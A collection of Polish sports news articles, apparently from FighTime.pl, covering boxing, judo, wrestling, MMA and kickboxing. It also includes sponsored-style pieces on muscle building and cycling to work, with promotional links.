Ślinka cieknie na samą myśl o możliwym starciu Wildera z Joshuą. Należy podkreślić „możliwym”. Na szali pojawiłyby się pasy WBC, IBF, IBO i WBA. Sportowa wartość tego starcia byłaby ogromna. Warto spojrzeć również na stronę ekonomiczną. Z pewnością Joshua i Wilder napchaliby sobie kieszenie, ale czy odnieśliby korzyść? Jeden z nich musiałby opuścić ring ze spuszczoną głową. A wrócić na szczyt nie jest łatwo. Joshua i Wilder to określony poziom, każdy wyrobił sobie markę i z tego powodu może czerpać określone profity. Pięściarze, a przede wszystkim ich promotorzy doskonale o tym wiedzą.

Warto przypomnieć, że przez długi czas wątpiono w możliwości Wildera. Dopiero walka o pas z Bermane Stivernem miała być dla niego weryfikacją. Amerykanin wygrał na punkty i stał się dumą swojego kraju, a przy okazji pierwszoplanową postacią wagi ciężkiej. Podobnie było z Joshuą. Pokonanie Charlesa Martina i zdobycie pasa IBF na nikim wrażenia nie zrobiły. Ale efektowna walka z Kliczko pokazała, że Joshua to pierwsza liga.

Byłoby gorąco

Choć pogoda nie rozpieszcza, należy liczyć, że może chociaż w boksie będzie gorąco. – Sytuacja w wadze ciężkiej stała się ciekawa, a moja walka z Joshuą sprawiłaby, że zainteresowanie byłoby jeszcze większe. Gdy weszlibyśmy do ringu, cały świat na nas by patrzył. Wszystko by się zatrzymało. Każdy chciałby zobaczyć tę walkę – powiedział Deontay Wilder.

Co istotne, należy pamiętać, że w boksie na największe walki trzeba poczekać. Czas ucieka… A hity rozczarowują. Ile trzeba było czekać na starcie Mayweathera Jr z Pacquiao? Oby Wilder i Joshua spotkali się wcześniej niż przed emeryturą.

KM

Pacut: To był przełom

Drugie miejsca prześladują Beatę Pacut (78kg). W tym roku judoczka Czarnych Bytom już trzykrotnie była o krok od triumfu w międzynarodowych zawodach. Z pewnością największym dokonaniem 21-latki jest srebro wywalczone w Taszkiencie.

Beata Pacut stopniowo przebija się na pierwszy plan. W ubiegłym roku wygrała Puchar Europy w Warszawie. Kolejnym ważnym wydarzeniem w jej karierze jest drugie miejsce w zawodach Grand Prix w Taszkiencie. Czy to zapowiedź jeszcze lepszych wyników naszej judoczki?

Udana jesień

Możemy narzekać na pogodę i zmęcznie, bo w końcu mamy jesień. Beata Pacut nie zalicza się do tego grona. W październiku 21-letnia judoczka cieszyła się z drugiego miejsca w Taszkiencie. Polka wygrała trzy walki, w finale uległa Anastasiji Turchyn. – To był mój pierwszy start na zawodach z serii Grand Prix i też pierwszy taki wynik. Bardzo się cieszę z tak udanego debiutu. Cieszy mnie nie  tylko wynik, ale także cały przebieg walk. Byłam zdeterminowana i pewna tego, co chcę osiągnąć. Był to pewien przełom, ponieważ z każdymi tak ważnymi zawodami i wynikami czuję się coraz bardziej pewna siebie – podaje FighTime.pl Beata Pacut.

Ale na tym nie koniec sukcesów 21-letniej zawodniczki. Pacut wywalczyła brązowy medal młodzieżowych mistrzostw Europy w Podgoricy. Jedyną pogromczynią Polki okazała się Niemka Anna Maria Wagner, która sięgnęła po złoto. – To był mój trzecie medal na mistrzostwach Europy. Jeden – srebrny w juniorach w Rumunii w 2014 roku, brąz na ME U23 w Bratysławie w 2015 i teraz kolejny brąz ME U23. To był mój ostatni start na młodzieżowych mistrzostwach Europy. Także cieszę się, że zakończyłam tą kategorię wiekowa z medalem i mam nadzieję na powtórki wyników w seniorach – przedstawia judoczka.

Teraz Japonia

Beata Pacut może być zadowolona ze swojej dyspozycji. W Pucharach Europy w Mińsku i Pradze oraz w Grand Prix w Taszkiencie zdobywała srebrne medale, znalazła się również w kadrze, która zdobyła wicemistrzostwo Europy i dołożyła brąz MME. Teraz przed zawodniczką pobyt w Japonii. – Już 1 grudnia wylatuję do Japonii. Lecimy do Tokio na międzynarodowy camp, na który co roku zjeżdża się bardzo dużo judokow z całego świata. Będę tam 16 dni. Będzie to mocny obóz. Można powiedzieć, że przygotowawczy przed kwalifikacjami olimpijskimi, które zaczynają się od kwietnia przyszłego roku – wyjaśnia Pacut.

Judoczka podkreśla, że cały czas musi być na najwyższych obrotach. – Niestety w judo nie ma czegoś takiego jak sezon, cały rok są turnieje  i ciężko znaleźć czas na dłuższy odpoczynek. W tym roku miałam dwutygodniową przerwę od treningów po mistrzostwach świata. Traz po Japonii będzie chwilka na odpoczynek, aby znów się przestawić organizm do czasu polskiego. No i święta, więc przede wszystkim spędzenie czasu z najbliższymi. Nie będzie to tak długa przerwa, bo zaraz na początku stycznia ruszam na kolejne zgrupowanie do Austrii – prezentuje brązowa medalistka z Podgoricy.

Fot. Beata Pacut Facebook

KM

Polacy bez blasku w Bydgoszczy

Biało-czerwoni bez medalu zakończyli zmagania w Młodzieżowych Mistrzostwach Świata w zapasach, które odbyły się w Bydgoszczy. Najlepiej zaprezentowali się zawodnicy rywalizujący w stylu klasycznym – Przemysław Piątek (59kg) i Roman Pacurkowski (66kg), którzy w swoich kategoriach zajęli piąte miejsca.

Na sześć dni Artego Arena w Bydgoszczy zamieniła się w arenę Młodzieżowych Mistrzostw Świata w zapsach. Początek dawał nadzieję na dobry występ Polaków, ale kolejne dni w wykonaniu biało-czerwonych nie napawały optymizmem.

Tylko jedno zwycięstwo wolniaków

O występach naszych pań i klasyków pisaliśmy tu. https://fightime.pl/pl/wiadomosci/medale-byly-blisko/ Warto wspomnieć, że najlepsze wyniki z całej naszej kadry zanotowali Przemysław Piątek (59kg) i Roman Pacurkowski (66kg). Obaj byli o krok od podium i ostatecznie uplasowali się na piątych miejscach. Niesmak pozostał, ale liczyliśmy, że czas przyniesie nam choć trochę radości. Ale nasze zapaśniczki nie wygrały ani jednej walki.

Pozostało liczyć na zawodników rywalizujących w stylu wolnym. Wszyscy wierzyli w dobry występ Kamila Kościółka (125kg). Wyglądało na to, że Polak jest na najlepszej drodze, aby wygrać z Aminem Taherimem. Były wicemistrz świata juniorów zaczął lepiej od Kościółka, jednak ten z czasem odrobił straty i wyszedł na prowadzenie. Do pełni szczęścia zabrakło zaledwie 25 sekund. Irańczyk sprowadził walkę do parteru, gdzie przechylił szalę zwycięstwa na swoją stronę. Równie szybko z turniejem pożegnali się Dawid Romanowicz (61kg) i Krzysztof Sadowik (86kg). Nieco dłużej trwała przygoda z mistrzostwami w przypadku Roberta Dobrodzieja (57kg). Polak przegrał z Kubańczykiem Reinerim Andreu Ortego, który sięgnął po mistrzostwo świata. Dobrodziej miał jeszcze szansę w repasażach, ale jej nie wykorzystał.

Jedyną wygraną na koncie wolniaków zapisał Marcin Majka (74kg). Zapaśnik ZTA Zgierz pokonał Kyrillosa Binenmpaouma i w 1/8 finału trafił na Yerkebulana Tileu. Kazach szybko zdobył prowadzenie, jednak Majka ambitnie walczył. Sprowadził rywala do parteru i wykonał obejście. Ćwierćfinał był blisko, ale ostatecznie to rywal walczył dalej. Dwie walki w Bydgoszczy stoczył Aleksander Wojtachnio. W repasażach Polak prowadził po pierwszej rundzie z Ty Walzem, ale nie utrzymał przewagi. Patryk Ołenczyn (65kg) i Kamil Banaszek (70kg) stoczyli tylko po jednej walce.

Udana impreza

Sportowo możemy być niezadowoleni, ale na poziomie organizacyjnym Bydgoszcz stanęła na wysokości zadania. W klimat imprezy muzycznie wszystkich wprowadził Rafał Brzozowski. A potem rozpoczęła się walka o medale. Zaplecze było przygotowana w taki sposób, aby każdy zawodnik mógł skupić się wyłącznie na rywalizacji i korzystać z komfortowych warunków.

Łącznie w Bydgoszczy wystartowało ponad 850 zapaśników, którzy stoczyli 578 walk.

Złoci medaliści MMŚ:

styl klasyczny: Masuto Kawana (59kg), Shmagi Bolkvadze (66kg), Daniel Cataraga (71kg), Faith Cengiz (75kg), Burhan Akbudak (80kg), Erik Szilvassy (85kg), Aleksandr Golovin (98kg), Sergey Semenov (130kg).

kobiety: Evin Demirhan (48kg), Moho Igarashi (53kg), Haruna Okuno (55kg), Yuzuro Kumano (58kg), Yui Sakano (60kg), Ayana Gempei (63kg), Koumba Larroque (69kg), Yasuha Matsuyuki (75kg).

styl wolny: Reineri Andreu Ortega (57kg), Rinyan Nakamura (61kg), Nachyn Kuular (65kg), Richard Lewis (70kg), Gadzhi Nabiev (74kg), Alikhan Zhabrailov (86kg), Mojtaba Goleij (97kg), Geno Petriashvili (125kg).

Fot. Zdjęcie poglądowe

KM

Medale były blisko

Przemysław Piątek (59kg) i Roman Pacurkowski (66kg) startujący w stylu klasycznym zajęli piąte miejsca w Młodzieżowych Mistrzostwach Świata w zapasach, które odbywają się w Bydgoszczy. Z kolei w zmaganiach kobiet, nasze zawodniczki nie wygrały ani jednej walki. Na placu boju pozostali jeszcze zapaśnicy rywalizujący w stylu wolnym.

Wiara tli się w sercu, choć początek rywalizacji w mistrzostwach nie był udany dla Polaków. Zmagania w Bydgoszczy są już na ostatniej prostej.

A miało być tak pięknie…

24-osobowa reprezentacja Polski stanęła na starcie Młodzieżowych Mistrzostw Świata w zapasach. Pełni nadziei, z zapałem do rywalizacji i gotowi podjąć wyzwanie. Łącznie do Bydgoszczy zjechało ponad 850 zapaśników.

Pierwszego dnia zmagań najlepszy występ z Polaków zaliczył Rafał Krajewski (styl klasyczny, 98kg), który zajął siódme miejsce. Nasz zapaśnik fantastycznie rozpoczął zmagania w Bydgoszczy. Krajewski pokonał przez przełożenie przez łopatki Romasa Fridrikasa, a następnie uporał się z Amirhosseinem Hosseinim. Chińczyk Abudourexitiem Alimujiang rozprawił się z Polakiem w ćwierćfinale, a w półfinale uległ Aleksandrowi Golovinowi, który ostatecznie sięgnął po złoto. Porażka zawodnika z Azji z reprezenantetem Rosji sprawiła, że zapaśnik SSA Legia 1926 Warszawa mógł zapomnieć o rywalizacji o medal.

Jak wypadli pozostali Polacy? Iwan Nylypiuk (75kg) zajął 13. miejsce, Patryk Boniecki (85kg) 16, z kolei Mateusz Nowak (71kg) był 22.

Drugi dzień zmagań w Bydgoszczy niósł ze sobą ogromne nadzieje. Wszystko za sprawą Romana Pacurkowskiego (66kg), który był faworytem do stanięcia na podium. Polak zaczął fantastycznie i rozłożył na łopatki dwóch rywali. W pófinale trafił na mocnego przeciwnika. Shmagi Bolkvadze to brązowy medalista olimpijski i trzeci zawodnik ubiegłorocznych mistrzostw Europy z Rygi. Pacurkowski przegrał walkę o finał przez… pasywność. Podobnie sędziowie orzekli w przypadku starcia o brąz. Polak nie krył irytacji takim werdyktem. Nieco inną drogę do walki o brąz przebył Przemysław Piątek (59kg). W 1/8 Polak przegrał z Sergiejem Emelinem, który później wywalczył srebro. Piątek poradził sobie w repasażach, gdzie wyeliminował Raona Dumoyana, ale miejsca na podium pozbawił go Sakit Guliyev.

Rafał Płowiec (130kg) uplasował się na 14. pozycji, a Piotr Duk (80kg) na 15.

Kontuzja Kozłow

Powodów do zadowolenia nie mają nasze zapaśniczki. Reprezentantki Polski nie wygrały ani jednej walki. O krok od triumfu była Agnieszka Król (60kg), która w starciu z Yuliyą Pisarenko miała rywalkę na kolanach i przeprowadziła akcję, jednak sędziowie uznali, że było już po czasie. Polka przegrała 1:3. Paula Kozłow (53kg) w starciu z Amy Fearnside doznała kontuzji i musiała pożegnać się z mistrzostwami. Dobrze układała się walka Natalii Kubaty (63kg), która prowadziła, ale Niemka Luize Manzke wygrała przez przełożenie na łopatki.

Nadzieja w wolniakach

Na placu boju pozostali zawodnicy startujący w stylu wolnym. Duże nadzieje wiązane są z występem Marcina Majki (74kg). Również Kamil Kościółek (125kg) może włączyć się do walki o medale. Nasz zawodnik to brązowy medalista tegorocznych młodzieżowych mistrzostw Europy.

KM

Jak zwiększyć masę mięśniową?

O umięśnionej, atletycznej sylwetce marzy bardzo duża część męskiej populacji. Części Panów udaje się nawet owe marzenia urzeczywistnić. Niestety, wymaga to naprawdę ogromnego zaangażowania.

Jak zwiększyć masę mięśniową?

Proces budowy masy mięśniowej opiera się na kilku elementach. Przede wszystkim, należy zadbać o:

  • dietę
  • trening
  • suplementację

Niezwykle istotny jest także prowadzony tryb życia oraz regularny rytm dobowy.

Odżywianie przy budowie masy mięśniowej
Z całą pewnością niejednokrotnie spotkali się Państwo z określeniem „dieta na masę”. Tego typu jadłospis powinien być zbilansowany pod kątem generowanego zapotrzebowania. Zależny jest zatem od podejmowanej aktywności fizycznej, rodzaju wykonywanej pracy oraz masy ciała.

Dietę na masę musi cechować regularność. Posiłki muszą być konsumowane o stałych porach, w równych odstępach czasu. Należy jeść zgodnie z zasadą „mniej, ale częściej”. Zaleca się konsumpcję nawet do siedmiu małych posiłków na dobę.

Warto również pamiętać o tym, że dieta na masę musi być pełnowartościowa i zdrowa.

Trening przy budowie masy mięśniowej
Aby doszło do wzrostu masy mięśniowej musimy zadbać również o odpowiedni trening. Zdecydowanie najefektywniejszą formą stymulacji mięśni jest trening siłowy. Jego realizację najlepiej uskuteczniać na siłowni.

Plan treningowy na masę mięśniową powinien zawierać podstawowe ćwiczenia wielostawowe. Poniżej przedstawiamy ćwiczenia bazowe dla każdej grupy mięśniowej.

  • Trening mięśni grzbietu: martwy ciąg, wiosłowanie
  • Trening mięśni nóg: przysiady, wykroki
  • Trening mięśni klatki piersiowej: wyciskanie na ławce prostej/skośnej
  • Trening mięśni naramiennych: uginanie i prostowanie ramion z obciążeniem
  • Trening mięśni brzucha: skłony w leżeniu
  • Trening mięśni obręczy barkowej: podciąganie na drążku

Pojedyncza sesja treningowa może mieć zarówno charakter ogólnorozwojowy (tzw. trening FBW – Full Body Workout), jak i absorbować tylko niektóre grupy mięśniowe (tzw. trening SPLIT – łączony).

Zaleca się trenować 3-4 razy w tygodniu, przy objętości nie większej niż 6-8 ćwiczeń. Łączny czas treningu nie powinien przekraczać 90 minut.

Suplementacja przy budowie masy mięśniowej
Istotną rolę w procesach rozbudowy włókien mięśniowych pełnią suplementy diety. Stosowanie preparatów takich jak: kreatyna, aminokwasy, gainery, boostery energetyczne czy l-karnityna pomaga zwiększyć efektywność treningu i diety na masę.

Należy mieć jednak na uwadze, że stosowanie suplementów diety nie stanowi alternatywy dla jadłospisu, czy treningu. Jest to tylko i wyłącznie dodatek. Zresztą całkiem skuteczny dodatek. Niektóre suplementy potrafią poprawić tempo budowy masy mięśniowej o nawet kilkanaście procent.

Jeśli chcesz dowiedzieć się więcej o procesach budowy masy mięśniowej, koniecznie odwiedź przyrostmasy.pl.

BAL MISTRZÓW KICKBOXINGU – 13 stycznia 2018

13 stycznia w Węgrowie odbędzie się "Bal Mistrzów Kickboxingu" podczas którego wręczone zostaną nagrody i wyróżnienia dla zawodników, trenerów, działaczy, sponsorów oraz klubów za sukcesy i pracę włożoną w rozwój naszej dyscypliny w 2017 roku.

Imprezę poprowadzi red. Bogdan Saternus. Po części oficjalnej odbędzie się bal noworoczny, szczegóły wkrótce.

Transmisja z Balu Mistrzów Kickboxingu na antenie telewizji FighTime.

Dojazd rowerem do pracy – tak czy nie?

Czy opłaca się jeździć rowerem do pracy? Zalety dojazdów jednośladem przypominają nam się, kiedy codziennie rano stoimy w korku w zatłoczonym autobusie, tramwaju czy samochodzie; kiedy tankujemy na stacji benzynowej czy mamy zadyszkę po krótkim biegu do publicznego środka komunikacji, która niby trwa tylko chwilę, a wydaje się śmiertelna. Wtedy żałujemy, że nie jeździmy codziennie do pracy rowerem.

I zaoszczędzilibyśmy, i nie tracilibyśmy czasu w miejskich korkach, i poprawilibyśmy swoją kondycję – zauważa autor bloga jaki-rower.pl. Chociaż to trzy najważniejsze zalety dojazdów rowerem do pracy, istnieją także minusy tego przemieszczania się. Zwłaszcza kiedy ścieżka rowerowa urywa się nagle w najmniej optymalnym miejscu, na zewnątrz zaczyna lać jak z cebra, a ponadto masz wrażenie, że przez noc na Twojej trasie pojawiły się nowe dziury w asfalcie. Czy zatem dojazd rowerem do pracy ma same superlatywy, czy jednak ma też wady, o których mówi się mniej?

Zalety dojazdów rowerem do pracy – minimalizujesz skutki siedzenia

Wiele osób ma współcześnie pracę biurową, polegającą w głównej mierze na siedzeniu przed komputerem przez kilka godzin. Nie każdy pamięta o chociażby 5-minutowych przerwach na krótkie rozruszanie się – ani tym bardziej o prawidłowej pozycji do siedzenia i pracy przed monitorem. W efekcie – sami sobie wyrządzamy wady postawy. Ponadto tryb siedzący życia ma negatywny wpływ na nasze zdrowie. Codziennymi dojazdami do pracy minimalizujesz jego skutki, nawet jeżeli sam dojazd trwa ok. 15-30 minut – policz sobie, ile wyjdzie Ci aktywnych godzin w miesiącu. W porównaniu do zera to imponująca liczba, prawda?

Wady dojazdów rowerem do pracy – kiedy nie masz siły się ruszyć

Skutki fizyczne pracy odczuwają osoby pracujące fizycznie – dźwigające ciężkie towary, obsługujące klientów w kasach marketowych, pracujące na budowach, remontujące mieszkania i budynki, prowadzące kilka godzin treningów dziennie w klubach fitness itp. Po takiej pracy czasami jedyne, na co masz ochotę, to po prostu usiąść i odpocząć. W takim wypadku u Ciebie sprawdzą się lepiej weekendowe wycieczki rowerowe czy relaksujące przejażdżki po pracy wśród zieleni, kiedy będziesz mieć na takie ochotę.

Zalety jazdy rowerem do pracy – pracujesz nad kondycją

Codzienne dojazdy rowerem do pracy to nie tylko minimalizowanie skutków siedzenia, ale też praca nad kondycją. Nawet 15-minutowy trening jest lepszy niż żaden – co prawda dojazd na rowerze do pracy to nie intensywne interwały czy jazda górska z dozą adrenaliny, ale na dobry dzień wytworzysz endorfiny i rozbudzisz się o poranku. Oczywiście można jechać do pracy szybko – ale po co się tak bardzo spieszyć, zwłaszcza kiedy na miejscu nie możesz wziąć prysznicu? Wystarczy wyjechać odpowiednio wcześnie, aby nie gnać na złamanie karku i nie powitać współpracowników zmęczoną, spoconą twarzą.

Dzięki dojazdom do pracy na rowerze oszczędzasz

Normalny bilet na komunikację miejską kosztuje, podobnie jak paliwo. Ponadto do samochodu możesz doliczyć sobie jego obowiązkowe ubezpieczenie, naprawy, przeglądy, wymianę opon, kupowanie akcesoriów itp. Oczywiście rower nie oznacza, że powinieneś całkiem zrezygnować z posiadania samochodu – ale znacznie ograniczając jego użytkowanie na co dzień dużo oszczędzasz – przede wszystkim na paliwie. Jeżeli ktoś nie potrafi sobie wyobrazić, że dzięki jeździe na rowerze osiąga lepszą kondycję i pracuje na swoje zdrowie, bardziej materialny argument – widoczny od razu na koncie bankowym czy w portfelu – powinien go przekonać.

Wady dojazdu do pracy na rowerze – “Nie mogę dojechać spocony/-a!”

Argument o braku prysznicu w pracy lub braku czasu na niego po dojechaniu jest jednym z najczęściej spotykanych. Sęk w tym, że jazda na rowerze nie jest jednoznacznie związana z mało estetycznym wyglądem po dojechaniu do pracy.

Po pierwsze – wystarczy wyjechać odpowiednio wcześnie, aby się nie spieszyć. Jeżeli jedziesz stosunkowo wolno, podczas takiej przejażdżki nie obleją Cię poty. Kiedy idziesz szybkim marszem do pracy, nie narzekasz po dojściu do miejsca, że nie możesz wziąć prysznicu, prawda?

Po drugie – na czas jazdy warto założyć termoaktywne ubranie, które doskonale pozwala skórze oddychać i odparowuje pot na zewnątrz. Komfort jazdy na rowerze w termoaktywnym ubraniu w porównaniu do bawełnianych ubrań czy z innych materiałów jest nieporównywalny.

Po trzecie – liczy się też sposób przewożenia przez Ciebie rzeczy. Z pewnością przyda Ci się bagażnik, sakwy tylne lub przedni koszyk na potrzebne na co dzień rzeczy. Tak po prostu będzie Ci lżej – przez plecak będzie Ci minimalnie ciężej (w zależności od tego, co w nim masz), a jazda z torebką przewieszoną przez jedno ramię nie jest bezpieczna.

Zalety jazdy rowerowej do pracy – budujesz odporność

Spacer w rzęsistym deszczu jest przyjemny tylko w komediach romantycznych. Mało kto lubi biegać czy jeździć podczas ulewy na rowerze, jednak sam spadek temperatury jesienią nie powinien oznaczać rezygnacji z wszelkich aktywności fizycznych na dworze i ograniczenie się przemieszczania się do minimum. Wystarczy odpowiednie ubranie – nawet na deszcz, takie jak sportowa kurtka wodoodporna i wodoszczelna z membraną – aby dojechać do pracy. Jak już wspomnieliśmy, na rower wybieraj ubrania termoaktywne. Klejąca się do ciała bawełniana koszulka nie jest przyjemna, łatwiej też o przewianie, kiedy do ciała przylega mokry materiał. Jeżdżąc na rowerze codziennie w zmiennych warunkach, poprawiasz naturalnie odporność.

Nie wiesz, jak to będzie pierwszy raz pojechać do pracy na rowerze w zimny poranek? Przetestuj swoją trasę w wolny dzień w podobnych warunkach – chociaż ruch na drogach będzie mniejszy, Ciebie i tak nie czeka stanie w korkach, a dowiesz się, ile mniej więcej czasu zajmuje Ci droga do pracy, jaką trasę warto wybrać – czy to ze względu na czas, czy okoliczności przyrody. Powodzenia!

Więcej porad rowerowych:

https://jaki-rower.pl/porady-rowerowe/

https://jaki-rower.pl/najlepsze-rowery-meskie-jaki-rower-dla-mezczyzny-kupic/

https://jaki-rower.pl/co-to-jest-rower-gorski-zasady-doboru-roweru-gorskiego/

Były zawodnik UFC trafi do FEN?

Organizacja Fight Exclusive Night ruszyła na polowanie. Celem łowów stał się doświadczony Damian Grabowski. Czy zawodnik MMA po ponad czterech latach ponownie zaprezentuje się w Polsce?

37-letni Damian Grabowski należy do kategorii tych zawodników, którzy z niejednego pieca chleb jedli. Z pewnością jego przejście do FEN byłoby swego rodzaju hitem transferowym.

W UFC nie dał rady

Pierwszy zawodowy pojedynek Grabowski stoczył ponad dziesięc lat temu i wygrał już w pierwszej rundzie. W 2009 roku wystartował w turnieju wagi ciężkiej UCFC w Wiedniu. Polak wygrał cztery walki, a w finale przez duszenie zza pleców w drugiej rundzie pokonał Serba Miodraga Petkovicia. Później próbował podbić Bellatora. Zawodnik specjalizujący się w brazylijskim jiu-jitsu zaprezentował się w turnieju wagi ciężkiej, jednak w półfinale przegrał z Cole'em Konradem. Dobrze radził sobie w Rosji. W listopadzie 2013 roku pokonując Kenny'ego Garnera, Grabowski sięgnął po pas mistrzowski M-1 Global w wadze ciężkiej. Z tytułu nie cieszył się długo, bo w pierwszej obronie stracił go na rzecz Marcina Tybury. Ale w końcu trafił tam, gdzie chce dojść każdy wojownik MMA. Usługami Grabowskiego zainteresowało się UFC. Jednak tej przygody Polak miło wspominać nie będzie. Trzy walki, trzy porażki i amerykańska organizacja pożegnała się z Grabowskim.

Trzeba jednak przyznać, że na polskim rynku 37-latek stanowi „gorący towar”. Negocjacje z zawodnikiem prowadzi organizacja Fight Exclusive Night. – Damian to znakomity zawodnik i negocjujemy z nim zasady współpracy z FEN. W marcu organizujemy wielką, jubileuszową galę i bardzo chciałbym, aby Grabowski był jednym z jej bohaterów. Z kim bym go zestawił? Może z Danielem Omielańczukiem? To byłoby coś! Jak kraść to miliony – powiedział Paweł Jóźwiak, prezes FEN.

Czy występ Grabowskiego 10 marca na Torwarze jest realny? Włodarze organizacji dokładają wszelkich starań, aby tak się właśnie stało.

Niewykluczone, że FEN wzmocni również inna gwiazda polskiego MMA. Włodarze organizacji rozmawiają z byłym mistrzem KSW w wadze do 84kg Krzysztofem Kułakiem. 

Torwar czeka

Organizacja FEN po raz trzeci będzie gościła na warszawskim Torwarze i po raz kolejny w marcu. Jakby trójek było mało, planowane są trzy walki o pasy mistrzowskie. Gala FEN 20 „Next Level” odbędzie się 10 marca o 18.00. Sportowych wrażeń dostarczą m.in. Kamil Łebkowski, Marcin Naruszczka oraz Marian Ziółkowski.

Fot. Damian Grabowski Facebook

KM

Bokser za miękki na politykę?

Manny Pacquiao nie raz zachwycał bokserski świat genialnymi pojedynkami. „Pacman” postanowił realizować się na arenie politycznej i został senatorem. „Im dalej w las…”. Pacquiao postanowił podzielić się swoimi spostrzeżeniami na temat świata polityki.

39-latek odniósł sukces i chciał się zaangażować w pracę na rzecz poprawy sytuacji na Filipinach. Gdy wszedł do świata polityki, zobaczył jego blaski i cienie.

Liczy się dobro wspólne?

Platon pojmował politykę jako realizację idei dobra, u Arystotelesa było to szczęście jako eudajmonia, czyli troska o dobro wspólne. Inaczej na tę kwestię patrzył Niccolo Machiavelliego. Florencki filozof postrzegał politykę jako dążenie do zdobycia, zachowania i umocnienia władzy. Z kolei w tradycji republikańskiej jest to realizacja dobra wspólnego. Za klasyczną uznawana jest definicja przedstawiona przez Maxa Webera. Niemiecki socjolog politykę przedstawiał jako dążenie do udziału we władzy bądź wywierania wpływu na jej podział.

Jak widzimy na pierwszy plan rzuca nam się kwestia dobra wspólnego i władzy. Praktyka pokazuje, że ten, kto rządzi decyduje o kształcie życia społeczenego. Oczywiście w demokracji konieczne jest poszanowanie prawa i wolności jednostki. Istnieje również opozycja, która bacznie obserwuje i krytykuje poczynania rządzących. Na pozór wszystko wydaje się proste, jednak nie możemy mówić o idylli. Życie pokazuje, że często trudno o kompromis, a „człowiek człowiekowi wilkiem” bądź jak zwracał uwagę Juan Donoso Cortes „natura człowieka jest chora i ułomna”. Jedno jest pewne – wszyscy chcieliby żyć w ładzie i porządku, jednak każdy definiuje go na swój sposób. Stąd liczne konflikty, a przy okazji pojawia się kwestia etyki i moralności.

Przysłowiowy zjadacz chleb obserwując świat polityki bywa zniechęcony. Ciągłe kłótnie, wzajemne obrażanie i pomijanie najpotrzebniejszych potrzeb. Również ta kwestia dotknęła wielkiego boksera. Manny Pacquaio jest senatorem Filipin, ale polityka go rozczarowuje. – Czuję się zniechęcony. Nie przywykłem do politykowania. W polityce nie wiadomo, czy coś jest prawdziwe czy nie. Ludzie mają wiele twarzy – powiedział popularny „Pacman”.

Będzie dalej walczył

Dla Pacquiao głównym problemem jest brak aktywności polityków w celu poprawy w sytuacji w kraju. – Ważne, żeby każdy czuł problemy ubogich. Bogaci je znają, ale nie czują sytuacji biednych. Inaczej to wygląda, kiedy jest rozumiesz – podkreśla Pacquiao.

39-latek wylewa swoje żale, ale nie zamierza rezygnować z polityki. Prawdopodobnie ponownie będzie się ubiegał o urząd senatora w 2022 roku. Wydawało się, że Pacquiao skupi sie wyłącznie na polityce. 9 kwietnia 2016 roku wygrał z Timothym Bradleyem i miała być to jego ostatnia walka. Blisko siedem miesięcy później wrócił i pokonał Jessiego Vargasa. Ostatnio walczył w lipcu, ale zanotował porażkę. Jego pogromcą okazał się Jeff Horn. Pacquaio podkreślał, że będzie chciał skorzystać z możliwości rewanżu.

KM

Srebrna jesień Sarnackiego

Maciej Sarnacki (+100kg) może być zadowolony z tegorocznych startów. 30-letni judoka zwłaszcza w jesiennych występach błyszczy formą. Po raz pierwszy w karierze zawodnik Gwardii Olsztyn zdobył srebro w zawodach rangi Grand Prix. O równie udanej jesieni mogą mówić Kinga Wolszczak (+70kg) i Rafał Kozłowski (90kg).

„Polska złota jesień” w przypadku Sarnackiego wygląda nieco inaczej. Judoka w dwóch kolejnych turniejach dochodził do rywalizacji o zwycięstwo, ale w ostatnich starciach musiał uznać wyższość rywali. 

Najlepszy rok w karierze

Ponad rok temu Maciej Sarnacki zanotował najważniejszy start w karierze. Polak wystąpił w Igrzyskach Olimpijskich w Rio de Janeiro. W pierwszej rundzie odprawił Thormodura Jonssona, ale w kolejnej przegrał z późniejszym brązowym medalistą Orem Sassonem. Ale wszystko wisiało na włosku. W maju zawodnik zerwał przyczep mięśnia dwugłowego i więzadła pobocznego oraz uszkodził nerw strzałkowy. Trwała walka z czasem, ale trudno było przypuszczać, że Sarnacki wystąpi w Rio. Udało się, ale potem 30-latek kolejny występ zaliczył w marcu br. Wygrał rywalizację w Katowicach, co było dobrym prognostykiem przed kwietniowymi mistrzostwami Europy w Warszawie.

Od czempionatu Starego Kontynetu Sarnacki potwierdza, że bez wątpienia jest czołowym, o ile nie najlepszym polskim judoką. W Warszawie walkę o brąz przegrał z Czechem Lukasem Krpalkiem i zajął ostatecznie piąte miejsce. To najlepszy wynik zawodnika Gwardii w mistrzostwach Europy. Rok i dwa lata temu przeszkodą nie do przejścia dla judoki była druga runda.

Przyszedł październik. O ile w Warszawie Sarnacki mógł mieć niesmak, to w Abu Dhabi nie krył radości. W zawodach Grand Slam zajął drugie miejsce. Wcześniej w zmaganiach tej rangi zdobył trzy brązowe medale. Listopad również przyniósł wyjątkowe chwile dla Sarnackiego. Po raz pierwszy w karierze stanął na drugim stopniu podium zawodów rangi Grand Prix. W Hadze lepszy od Polaka okazał się jedynie Roy Meyer. Wcześniej Sarnacki zajmował trzecie miejsca w Tbilisi (2016) i Jeju (2014).

W tym roku Maciej Sarnacki trzy razy znalazł się na podium w międzynarodowych startach. Dwukrotnie był piąty. Również w mistrzostwach Europy zajął piątą pozycję, jedynie w mistrzostwach świata wypadł poniżej oczekiwań i odpadł w pierwszej rundzie. Równy i dobry sezon daje nadzieję, że kolejne starty będą równie udane, a zarówno przełomowe i dadzą Sarnackiemu złote medale w zawodach Grand Prix i Grand Slam.

Kozłowski uparł się na brąz

„Jak Filip z konopi” wyskoczył Rafał Kozłowski, który ponownie błysnął formą. 22-latek zajął trzecie miejsce w Grand Prix w Hadze. Dwa tygodnie temu zdobył brąz młodzieżowych mistrzostw Europy. We wrześniu był również trzeci w Pucharze Europy w Brtysławie.

Cieszy dobra postawa Kingi Wolszczak. Blisko miesiąc temu 16-latka wygrała zawody Pucharu Europy kadetów w Koper. W ostatnim starcie triumfowała w Gyor, gdzie w drodze po złoto pokonała trzy rywalki.

KM

Ladies Fight Night – Double Trouble

Drugie urodziny, dwa dni, dwie gale – “Double Trouble” Ladies Fight Night – już w grudniu w Łodzi! 

Za miesiąc, 15 i 16 grudnia 2017, w łódzkim Klubie Wytwórnia, odbędzie się kolejna gala, jedynej w Europie kobiecej organizacji sztuk walki MMA i K1 Ladies Fight Night. Dwa dni niezapomnianych emocji, potęgowanych podwójną dawką sportowych wrażeń. Nazwa nie jest przypadkowa, grudniowy event łączy ze sobą dwie gale, podczas których zaprezentuje się czołówka polskich jak również najlepszych zawodniczek z Europy (między innymi z Francji, Szwecji, Włoch, Czech i Rumunii) głównie w formule MMA.

Cristina Stanciu vs Magdalena Sormova na LFN 7 – 15 grudnia 2017 r. (piątek)

